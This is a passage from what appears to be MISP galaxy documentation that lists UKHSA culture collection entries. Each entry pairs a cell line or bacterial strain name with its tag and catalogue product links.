The tag is: *misp-galaxy:ukhsa-culture-collections="OX-114"*

Table 29338. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-114

OX-110

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-110"*

Table 29339. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-110

OX-109

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-109"*

Table 29340. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-109

OX-108

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-108"*

Table 29341. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-108

OX-106

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-106"*

Table 29342. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-106

OX-97

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-97"*

Table 29343. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-97

OX-96

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-96"*

Table 29344. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-96

OX-83

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-83"*

Table 29345. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-83

OX-82

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-82"*

Table 29346. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-82

OX-80

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-80"*

Table 29347. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-80

OX-76

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-76"*

Table 29348. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-76

OX-48

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-48"*

Table 29349. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-48

OX-46

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-46"*

Table 29350. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-46

FM-82

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-82"*

Table 29351. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-82

SHK-1

The tag is: *misp-galaxy:ukhsa-culture-collections="SHK-1"*

Table 29352. Table References

Links
https://www.culturecollections.org.uk/nop/product/shk-1

DA6.147

The tag is: *misp-galaxy:ukhsa-culture-collections="DA6.147"*

Table 29353. Table References

Links
https://www.culturecollections.org.uk/nop/product/da6147

FM-70

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-70"*

Table 29354. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-70

W6/1

The tag is: *misp-galaxy:ukhsa-culture-collections="W6/1"*

Table 29355. Table References

Links
https://www.culturecollections.org.uk/nop/product/w61

FM-3.13

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-3.13"*

Table 29356. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-313

FM-3.26

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-3.26"*

Table 29357. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-326

FM-3.29

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-3.29"*

Table 29358. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-329

OX-45

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-45"*

Table 29359. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-45

OX-21

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-21"*

Table 29360. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-21

92-1

The tag is: *misp-galaxy:ukhsa-culture-collections="92-1"*

Table 29361. Table References

Links
https://www.culturecollections.org.uk/nop/product/92-1

mel-202

The tag is: *misp-galaxy:ukhsa-culture-collections="mel-202"*

Table 29362. Table References

Links
https://www.culturecollections.org.uk/nop/product/mel-202

ED7

The tag is: *misp-galaxy:ukhsa-culture-collections="ED7"*

Table 29363. Table References

Links
https://www.culturecollections.org.uk/nop/product/ed7

ED17

The tag is: *misp-galaxy:ukhsa-culture-collections="ED17"*

Table 29364. Table References

Links
https://www.culturecollections.org.uk/nop/product/ed17

ED1

The tag is: *misp-galaxy:ukhsa-culture-collections="ED1"*

Table 29365. Table References

Links
https://www.culturecollections.org.uk/nop/product/ed1

ED3

The tag is: *misp-galaxy:ukhsa-culture-collections="ED3"*

Table 29366. Table References

Links
https://www.culturecollections.org.uk/nop/product/ed3

ED2

The tag is: *misp-galaxy:ukhsa-culture-collections="ED2"*

Table 29367. Table References

Links
https://www.culturecollections.org.uk/nop/product/ed2

FM-72

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-72"*

Table 29368. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-72

FM-81

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-81"*

Table 29369. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-81

FM-92

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-92"*

Table 29370. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-92

FM-56

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-56"*

Table 29371. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-56

FM-55-p.R22.2

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-55-p.R22.2"*

Table 29372. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-55-pr222

FM-55-M2

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-55-M2"*

Table 29373. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-55-m2

FM-55-M1

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-55-M1"*

Table 29374. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-55-m1

FM-55-P

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-55-P"*

Table 29375. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-55-p

FM-3

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-3"*

Table 29376. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-3

N1E-115-1

The tag is: *misp-galaxy:ukhsa-culture-collections="N1E-115-1"*

Table 29377. Table References

Links
https://www.culturecollections.org.uk/nop/product/n1e-115-1

HeLa/MMTV-luc

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa/MMTV-luc"*

Table 29378. Table References

Links
https://www.culturecollections.org.uk/nop/product/helammtv-luc

4-11

The tag is: *misp-galaxy:ukhsa-culture-collections="4-11"*

Table 29379. Table References

Links
https://www.culturecollections.org.uk/nop/product/4-11

11-4

The tag is: *misp-galaxy:ukhsa-culture-collections="11-4"*

Table 29380. Table References

Links
https://www.culturecollections.org.uk/nop/product/11-4

FM-45

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-45"*

Table 29381. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-45

FM-95

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-95"*

Table 29382. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-95

FM-58

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-58"*

Table 29383. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-58

COR L303

The tag is: *misp-galaxy:ukhsa-culture-collections="COR L303"*

Table 29384. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l303

Saos-2

The tag is: *misp-galaxy:ukhsa-culture-collections="Saos-2"*

Table 29385. Table References

Links
https://www.culturecollections.org.uk/nop/product/saos-2

Francisella tularensis subsp. holartica

The tag is: *misp-galaxy:ukhsa-culture-collections="Francisella tularensis subsp. holartica"*

Table 29386. Table References

Links
https://www.culturecollections.org.uk/nop/product/francisella-tularensis-subsp-holartica

MDA-MB-157

The tag is: *misp-galaxy:ukhsa-culture-collections="MDA-MB-157"*

Table 29387. Table References

Links
https://www.culturecollections.org.uk/nop/product/mda-mb-157

m17.ASC

The tag is: *misp-galaxy:ukhsa-culture-collections="m17.ASC"*

Table 29388. Table References

Links
https://www.culturecollections.org.uk/nop/product/m17asc

Clara

The tag is: *misp-galaxy:ukhsa-culture-collections="Clara"*

Table 29389. Table References

Links
https://www.culturecollections.org.uk/nop/product/clara

T7

The tag is: *misp-galaxy:ukhsa-culture-collections="T7"*

Table 29390. Table References

Links
https://www.culturecollections.org.uk/nop/product/t7

PEO23

The tag is: *misp-galaxy:ukhsa-culture-collections="PEO23"*

Table 29391. Table References

Links
https://www.culturecollections.org.uk/nop/product/peo23

ATDC5

The tag is: *misp-galaxy:ukhsa-culture-collections="ATDC5"*

Table 29392. Table References

Links
https://www.culturecollections.org.uk/nop/product/atdc5

PEO6

The tag is: *misp-galaxy:ukhsa-culture-collections="PEO6"*

Table 29393. Table References

Links
https://www.culturecollections.org.uk/nop/product/peo6

PEO16

The tag is: *misp-galaxy:ukhsa-culture-collections="PEO16"*

Table 29394. Table References

Links
https://www.culturecollections.org.uk/nop/product/peo16

PEO14

The tag is: *misp-galaxy:ukhsa-culture-collections="PEO14"*

Table 29395. Table References

Links
https://www.culturecollections.org.uk/nop/product/peo14

PEO4

The tag is: *misp-galaxy:ukhsa-culture-collections="PEO4"*

Table 29396. Table References

Links
https://www.culturecollections.org.uk/nop/product/peo4

tsDC

The tag is: *misp-galaxy:ukhsa-culture-collections="tsDC"*

Table 29397. Table References

Links
https://www.culturecollections.org.uk/nop/product/tsdc

AFRC IAH-CC57

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC57"*

Table 29398. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc57

LLC-WRC 256

The tag is: *misp-galaxy:ukhsa-culture-collections="LLC-WRC 256"*

Table 29399. Table References

Links
https://www.culturecollections.org.uk/nop/product/llc-wrc-256

K-BALB (K-234)

The tag is: *misp-galaxy:ukhsa-culture-collections="K-BALB (K-234)"*

Table 29400. Table References

Links
https://www.culturecollections.org.uk/nop/product/k-balb-k-234

L5178Y-R (LY-R)

The tag is: *misp-galaxy:ukhsa-culture-collections="L5178Y-R (LY-R)"*

Table 29401. Table References

Links
https://www.culturecollections.org.uk/nop/product/l5178y-r-ly-r

L5178Y-S (LY-S)

The tag is: *misp-galaxy:ukhsa-culture-collections="L5178Y-S (LY-S)"*

Table 29402. Table References

Links
https://www.culturecollections.org.uk/nop/product/l5178y-s-ly-s

833KE

The tag is: *misp-galaxy:ukhsa-culture-collections="833KE"*

Table 29403. Table References

Links
https://www.culturecollections.org.uk/nop/product/833ke

B82 (Hamprecht)

The tag is: *misp-galaxy:ukhsa-culture-collections="B82 (Hamprecht)"*

Table 29404. Table References

Links
https://www.culturecollections.org.uk/nop/product/b82-hamprecht

Detroit 525

The tag is: *misp-galaxy:ukhsa-culture-collections="Detroit 525"*

Table 29405. Table References

Links
https://www.culturecollections.org.uk/nop/product/detroit-525

3A(tPA-30-1)

The tag is: *misp-galaxy:ukhsa-culture-collections="3A(tPA-30-1)"*

Table 29406. Table References

Links
https://www.culturecollections.org.uk/nop/product/3atpa-30-1

CHP-134

The tag is: *misp-galaxy:ukhsa-culture-collections="CHP-134"*

Table 29407. Table References

Links
https://www.culturecollections.org.uk/nop/product/chp-134

L5178Y tk+/- 3.7.2c (IVGT)

The tag is: *misp-galaxy:ukhsa-culture-collections="L5178Y tk+/- 3.7.2c (IVGT)"*

Table 29408. Table References

Links
https://www.culturecollections.org.uk/nop/product/l5178y-tk-372c-ivgt

COR-L64

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L64"*

Table 29409. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l64

MDCK-SIAT1

The tag is: *misp-galaxy:ukhsa-culture-collections="MDCK-SIAT1"*

Table 29410. Table References

Links
https://www.culturecollections.org.uk/nop/product/mdck-siat1

RCC BA85#21 (ELTHEM)

The tag is: *misp-galaxy:ukhsa-culture-collections="RCC BA85#21 (ELTHEM)"*

Table 29411. Table References

Links
https://www.culturecollections.org.uk/nop/product/rcc-ba8521-elthem

YTS 154.7.7.10

The tag is: *misp-galaxy:ukhsa-culture-collections="YTS 154.7.7.10"*

Table 29412. Table References

Links
https://www.culturecollections.org.uk/nop/product/yts-1547710

CAT-MT

The tag is: *misp-galaxy:ukhsa-culture-collections="CAT-MT"*

Table 29413. Table References

Links
https://www.culturecollections.org.uk/nop/product/cat-mt

BEI

The tag is: *misp-galaxy:ukhsa-culture-collections="BEI"*

Table 29414. Table References

Links
https://www.culturecollections.org.uk/nop/product/bei

BEL7MON

The tag is: *misp-galaxy:ukhsa-culture-collections="BEL7MON"*

Table 29415. Table References

Links
https://www.culturecollections.org.uk/nop/product/bel7mon

SW 403

The tag is: *misp-galaxy:ukhsa-culture-collections="SW 403"*

Table 29416. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw-403

COLO 685

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 685"*

Table 29417. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-685

Clone 15 HL-60

The tag is: *misp-galaxy:ukhsa-culture-collections="Clone 15 HL-60"*

Table 29418. Table References

Links
https://www.culturecollections.org.uk/nop/product/clone-15-hl-60

REM 134

The tag is: *misp-galaxy:ukhsa-culture-collections="REM 134"*

Table 29419. Table References

Links
https://www.culturecollections.org.uk/nop/product/rem-134

IMR-90

The tag is: *misp-galaxy:ukhsa-culture-collections="IMR-90"*

Table 29420. Table References

Links
https://www.culturecollections.org.uk/nop/product/imr-90

FM-74

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-74"*

Table 29421. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-74

FM-57

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-57"*

Table 29422. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-57

FM-9

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-9"*

Table 29423. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-9

FM-28

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-28"*

Table 29424. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-28

FM-78

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-78"*

Table 29425. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-78

FM-79

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-79"*

Table 29426. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-79

FM-6

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-6"*

Table 29427. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-6

FM-88

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-88"*

Table 29428. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-88

FM-93/2

The tag is: *misp-galaxy:ukhsa-culture-collections="FM-93/2"*

Table 29429. Table References

Links
https://www.culturecollections.org.uk/nop/product/fm-932

Nthy-ori 3-1

The tag is: *misp-galaxy:ukhsa-culture-collections="Nthy-ori 3-1"*

Table 29430. Table References

Links
https://www.culturecollections.org.uk/nop/product/nthy-ori-3-1

Hepa 1-6

The tag is: *misp-galaxy:ukhsa-culture-collections="Hepa 1-6"*

Table 29431. Table References

Links
https://www.culturecollections.org.uk/nop/product/hepa-1-6

Campylobacter sputorum biovar sputorum

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter sputorum biovar sputorum"*

Table 29432. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-sputorum-biovar-sputorum

Clone C6/36

The tag is: *misp-galaxy:ukhsa-culture-collections="Clone C6/36"*

Table 29433. Table References

Links
https://www.culturecollections.org.uk/nop/product/clone-c636

RAW 264

The tag is: *misp-galaxy:ukhsa-culture-collections="RAW 264"*

Table 29434. Table References

Links
https://www.culturecollections.org.uk/nop/product/raw-264

Helicobacter canis

The tag is: *misp-galaxy:ukhsa-culture-collections="Helicobacter canis"*

Table 29435. Table References

Links
https://www.culturecollections.org.uk/nop/product/helicobacter-canis-7
https://www.culturecollections.org.uk/nop/product/helicobacter-canis-4
https://www.culturecollections.org.uk/nop/product/helicobacter-canis-2

https://www.culturecollections.org.uk/nop/product/helicobacter-canis
https://www.culturecollections.org.uk/nop/product/helicobacter-canis-6

Porphyromonas canoris

The tag is: *misp-galaxy:ukhsa-culture-collections="Porphyromonas canoris"*

Table 29436. Table References

Links
https://www.culturecollections.org.uk/nop/product/porphyromonas-canoris

Yersinia pestis

The tag is: *misp-galaxy:ukhsa-culture-collections="Yersinia pestis"*

Table 29437. Table References

Links
https://www.culturecollections.org.uk/nop/product/yersinia-pestis-2
https://www.culturecollections.org.uk/nop/product/yersinia-pestis
https://www.culturecollections.org.uk/nop/product/yersinia-pestis-12
https://www.culturecollections.org.uk/nop/product/yersinia-pestis-11
https://www.culturecollections.org.uk/nop/product/yersinia-pestis-10
https://www.culturecollections.org.uk/nop/product/yersinia-pestis-9
https://www.culturecollections.org.uk/nop/product/yersinia-pestis-8
https://www.culturecollections.org.uk/nop/product/yersinia-pestis-7
https://www.culturecollections.org.uk/nop/product/yersinia-pestis-6
https://www.culturecollections.org.uk/nop/product/yersinia-pestis-5
https://www.culturecollections.org.uk/nop/product/yersinia-pestis-4
https://www.culturecollections.org.uk/nop/product/yersinia-pestis-3

AtT-20/D16v-F2

The tag is: *misp-galaxy:ukhsa-culture-collections="AtT-20/D16v-F2"*

Table 29438. Table References

Links
https://www.culturecollections.org.uk/nop/product/att-20d16v-f2

Mycobacterium parafortuitum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium parafortuitum"*

Table 29439. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-parafortuitum-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-parafortuitum

Mycobacterium tomidae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium tomidae"*

Table 29440. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-tomidae

Mycobacterium novum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium novum"*

Table 29441. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-novum-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-novum

Mycobacterium neoaurum

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium neoaurum"*

Table 29442. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-neoaurum

Mycobacterium selandiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium selandiae"*

Table 29443. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-selandiae-2

https://www.culturecollections.org.uk/nop/product/mycobacterium-selandiae

Mycobacterium malmoense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium malmoense"*

Table 29444. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-malmoense-2
https://www.culturecollections.org.uk/nop/product/mycobacterium-malmoense

Mycobacterium shottsii

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium shottsii"*

Table 29445. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-shottsii

Mycobacterium pseudoshottsii

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium pseudoshottsii"*

Table 29446. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-pseudoshottsii

Mycobacterium farcinogenes subsp. senegalense

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycobacterium farcinogenes subsp. senegalense"*

Table 29447. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycobacterium-farcinogenes-subsp-senegalense

SNU-C2B

The tag is: *misp-galaxy:ukhsa-culture-collections="SNU-C2B"*

Table 29448. Table References

Links

https://www.culturecollections.org.uk/nop/product/snu-c2b

KU-812

The tag is: *misp-galaxy:ukhsa-culture-collections="KU-812"*

Table 29449. Table References

Links
https://www.culturecollections.org.uk/nop/product/ku-812

Aggregatibacter segnis

The tag is: *misp-galaxy:ukhsa-culture-collections="Aggregatibacter segnis"*

Table 29450. Table References

Links
https://www.culturecollections.org.uk/nop/product/aggregatibacter-segnis

KARPAS-299

The tag is: *misp-galaxy:ukhsa-culture-collections="KARPAS-299"*

Table 29451. Table References

Links
https://www.culturecollections.org.uk/nop/product/karpas-299

RCP

The tag is: *misp-galaxy:ukhsa-culture-collections="RCP"*

Table 29452. Table References

Links
https://www.culturecollections.org.uk/nop/product/rcp

Campylobacter concisus

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter concisus"*

Table 29453. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-concisus-8
https://www.culturecollections.org.uk/nop/product/campylobacter-concisus-7

https://www.culturecollections.org.uk/nop/product/campylobacter-concisus-6

HMT-3522 S2

The tag is: *misp-galaxy:ukhsa-culture-collections="HMT-3522 S2"*

Table 29454. Table References

Links
https://www.culturecollections.org.uk/nop/product/hmt-3522-s2

HUC-Fm

The tag is: *misp-galaxy:ukhsa-culture-collections="HUC-Fm"*

Table 29455. Table References

Links
https://www.culturecollections.org.uk/nop/product/huc-fm

1-7HB2

The tag is: *misp-galaxy:ukhsa-culture-collections="1-7HB2"*

Table 29456. Table References

Links
https://www.culturecollections.org.uk/nop/product/1-7hb2

J774A.1

The tag is: *misp-galaxy:ukhsa-culture-collections="J774A.1"*

Table 29457. Table References

Links
https://www.culturecollections.org.uk/nop/product/j774a1

L929S

The tag is: *misp-galaxy:ukhsa-culture-collections="L929S"*

Table 29458. Table References

Links
https://www.culturecollections.org.uk/nop/product/l929s

NCTC clone 929

The tag is: *misp-galaxy:ukhsa-culture-collections="NCTC clone 929"*

Table 29459. Table References

Links
https://www.culturecollections.org.uk/nop/product/nctc-clone-929-2
https://www.culturecollections.org.uk/nop/product/nctc-clone-929

L929

The tag is: *misp-galaxy:ukhsa-culture-collections="L929"*

Table 29460. Table References

Links
https://www.culturecollections.org.uk/nop/product/l929

C6

The tag is: *misp-galaxy:ukhsa-culture-collections="C6"*

Table 29461. Table References

Links
https://www.culturecollections.org.uk/nop/product/c6

F5-5.F1

The tag is: *misp-galaxy:ukhsa-culture-collections="F5-5.F1"*

Table 29462. Table References

Links
https://www.culturecollections.org.uk/nop/product/f5-5f1

Y3.AG.1.2.3

The tag is: *misp-galaxy:ukhsa-culture-collections="Y3.AG.1.2.3"*

Table 29463. Table References

Links
https://www.culturecollections.org.uk/nop/product/y3ag123

Brucella neotomae

The tag is: *misp-galaxy:ukhsa-culture-collections="Brucella neotomae"*

Table 29464. Table References

Links
https://www.culturecollections.org.uk/nop/product/brucella-neotomae-4
https://www.culturecollections.org.uk/nop/product/brucella-neotomae
https://www.culturecollections.org.uk/nop/product/brucella-neotomae-3
https://www.culturecollections.org.uk/nop/product/brucella-neotomae-2

Brucella canis

The tag is: *misp-galaxy:ukhsa-culture-collections="Brucella canis"*

Table 29465. Table References

Links
https://www.culturecollections.org.uk/nop/product/brucella-canis-2
https://www.culturecollections.org.uk/nop/product/brucella-canis

Pu-518

The tag is: *misp-galaxy:ukhsa-culture-collections="Pu-518"*

Table 29466. Table References

Links
https://www.culturecollections.org.uk/nop/product/pu-518

tsA201

The tag is: *misp-galaxy:ukhsa-culture-collections="tsA201"*

Table 29467. Table References

Links
https://www.culturecollections.org.uk/nop/product/tsa201

EJ32B

The tag is: *misp-galaxy:ukhsa-culture-collections="EJ32B"*

Table 29468. Table References

Links
https://www.culturecollections.org.uk/nop/product/ej32b

BSH017

The tag is: *misp-galaxy:ukhsa-culture-collections="BSH017"*

Table 29469. Table References

Links
https://www.culturecollections.org.uk/nop/product/bsh017

MDCK II

The tag is: *misp-galaxy:ukhsa-culture-collections="MDCK II"*

Table 29470. Table References

Links
https://www.culturecollections.org.uk/nop/product/mdck-ii

A7r5

The tag is: *misp-galaxy:ukhsa-culture-collections="A7r5"*

Table 29471. Table References

Links
https://www.culturecollections.org.uk/nop/product/a7r5-2

H357

The tag is: *misp-galaxy:ukhsa-culture-collections="H357"*

Table 29472. Table References

Links
https://www.culturecollections.org.uk/nop/product/h357-2

TR146

The tag is: *misp-galaxy:ukhsa-culture-collections="TR146"*

Table 29473. Table References

Links
https://www.culturecollections.org.uk/nop/product/tr146

MDA-MB-361

The tag is: *misp-galaxy:ukhsa-culture-collections="MDA-MB-361"*

Table 29474. Table References

Links
https://www.culturecollections.org.uk/nop/product/mda-mb-361

B9

The tag is: *misp-galaxy:ukhsa-culture-collections="B9"*

Table 29475. Table References

Links
https://www.culturecollections.org.uk/nop/product/b9-2

Propionibacterium propionicum

The tag is: *misp-galaxy:ukhsa-culture-collections="Propionibacterium propionicum"*

Table 29476. Table References

Links
https://www.culturecollections.org.uk/nop/product/propionibacterium-propionicum
https://www.culturecollections.org.uk/nop/product/propionibacterium-propionicum-2

OV17R

The tag is: *misp-galaxy:ukhsa-culture-collections="OV17R"*

Table 29477. Table References

Links
https://www.culturecollections.org.uk/nop/product/ov17r

AsPC-1

The tag is: *misp-galaxy:ukhsa-culture-collections="AsPC-1"*

Table 29478. Table References

Links
https://www.culturecollections.org.uk/nop/product/aspc-1

CHSE-214

The tag is: *misp-galaxy:ukhsa-culture-collections="CHSE-214"*

Table 29479. Table References

Links
https://www.culturecollections.org.uk/nop/product/chse-214

H157

The tag is: *misp-galaxy:ukhsa-culture-collections="H157"*

Table 29480. Table References

Links
https://www.culturecollections.org.uk/nop/product/h157

Shmac 1

The tag is: *misp-galaxy:ukhsa-culture-collections="Shmac 1"*

Table 29481. Table References

Links
https://www.culturecollections.org.uk/nop/product/shmac-1

Kluyvera ascorbata

The tag is: *misp-galaxy:ukhsa-culture-collections="Kluyvera ascorbata"*

Table 29482. Table References

Links
https://www.culturecollections.org.uk/nop/product/kluyvera-ascorbata-2

MRC-5 pd25

The tag is: *misp-galaxy:ukhsa-culture-collections="MRC-5 pd25"*

Table 29483. Table References

Links
https://www.culturecollections.org.uk/nop/product/mrc-5-pd25

MRC-5 pd19

The tag is: *misp-galaxy:ukhsa-culture-collections="MRC-5 pd19"*

Table 29484. Table References

Links
https://www.culturecollections.org.uk/nop/product/mrc-5-pd19

L52

The tag is: *misp-galaxy:ukhsa-culture-collections="L52"*

Table 29485. Table References

Links
https://www.culturecollections.org.uk/nop/product/l52

L45

The tag is: *misp-galaxy:ukhsa-culture-collections="L45"*

Table 29486. Table References

Links
https://www.culturecollections.org.uk/nop/product/l45

L35

The tag is: *misp-galaxy:ukhsa-culture-collections="L35"*

Table 29487. Table References

Links
https://www.culturecollections.org.uk/nop/product/l35

L23

The tag is: *misp-galaxy:ukhsa-culture-collections="L23"*

Table 29488. Table References

Links
https://www.culturecollections.org.uk/nop/product/l23

L14

The tag is: *misp-galaxy:ukhsa-culture-collections="L14"*

Table 29489. Table References

Links
https://www.culturecollections.org.uk/nop/product/l14

RN46A

The tag is: *misp-galaxy:ukhsa-culture-collections="RN46A"*

Table 29490. Table References

Links
https://www.culturecollections.org.uk/nop/product/rn46a

HT29/219

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29/219"*

Table 29491. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht29219

DMS 79

The tag is: *misp-galaxy:ukhsa-culture-collections="DMS 79"*

Table 29492. Table References

Links
https://www.culturecollections.org.uk/nop/product/dms-79

LA-N-2

The tag is: *misp-galaxy:ukhsa-culture-collections="LA-N-2"*

Table 29493. Table References

Links
https://www.culturecollections.org.uk/nop/product/la-n-2

SW 1116

The tag is: *misp-galaxy:ukhsa-culture-collections="SW 1116"*

Table 29494. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw-1116

BE(2)-M17

The tag is: *misp-galaxy:ukhsa-culture-collections="BE(2)-M17"*

Table 29495. Table References

Links
https://www.culturecollections.org.uk/nop/product/be2-m17

SCL 4.1/F7

The tag is: *misp-galaxy:ukhsa-culture-collections="SCL 4.1/F7"*

Table 29496. Table References

Links
https://www.culturecollections.org.uk/nop/product/scl-41f7

HPCT-05-wt

The tag is: *misp-galaxy:ukhsa-culture-collections="HPCT-05-wt"*

Table 29497. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpct-05-wt-2

CHI034

The tag is: *misp-galaxy:ukhsa-culture-collections="CHI034"*

Table 29498. Table References

Links
https://www.culturecollections.org.uk/nop/product/chi034-2

NG108-15

The tag is: *misp-galaxy:ukhsa-culture-collections="NG108-15"*

Table 29499. Table References

Links
https://www.culturecollections.org.uk/nop/product/ng108-15

Clone M-3

The tag is: *misp-galaxy:ukhsa-culture-collections="Clone M-3"*

Table 29500. Table References

Links
https://www.culturecollections.org.uk/nop/product/clone-m-3

A375

The tag is: *misp-galaxy:ukhsa-culture-collections="A375"*

Table 29501. Table References

Links
https://www.culturecollections.org.uk/nop/product/a375

A375-C6

The tag is: *misp-galaxy:ukhsa-culture-collections="A375-C6"*

Table 29502. Table References

Links
https://www.culturecollections.org.uk/nop/product/a375-c6

HEL 299

The tag is: *misp-galaxy:ukhsa-culture-collections="HEL 299"*

Table 29503. Table References

Links
https://www.culturecollections.org.uk/nop/product/hel-299

Tufted Deer

The tag is: *misp-galaxy:ukhsa-culture-collections="Tufted Deer"*

Table 29504. Table References

Links
https://www.culturecollections.org.uk/nop/product/tufted-deer-2

RN46A-B14

The tag is: *misp-galaxy:ukhsa-culture-collections="RN46A-B14"*

Table 29505. Table References

Links
https://www.culturecollections.org.uk/nop/product/rn46a-b14

HMT-3522 T4-2

The tag is: *misp-galaxy:ukhsa-culture-collections="HMT-3522 T4-2"*

Table 29506. Table References

Links
https://www.culturecollections.org.uk/nop/product/hmt-3522-t4-2

WAL,FD

The tag is: *misp-galaxy:ukhsa-culture-collections="WAL,FD"*

Table 29507. Table References

Links
https://www.culturecollections.org.uk/nop/product/walfd-3

CTLL-2

The tag is: *misp-galaxy:ukhsa-culture-collections="CTLL-2"*

Table 29508. Table References

Links
https://www.culturecollections.org.uk/nop/product/ctll-2

LL29 (AnHa)

The tag is: *misp-galaxy:ukhsa-culture-collections="LL29 (AnHa)"*

Table 29509. Table References

Links
https://www.culturecollections.org.uk/nop/product/ll29-anha

FTC-236

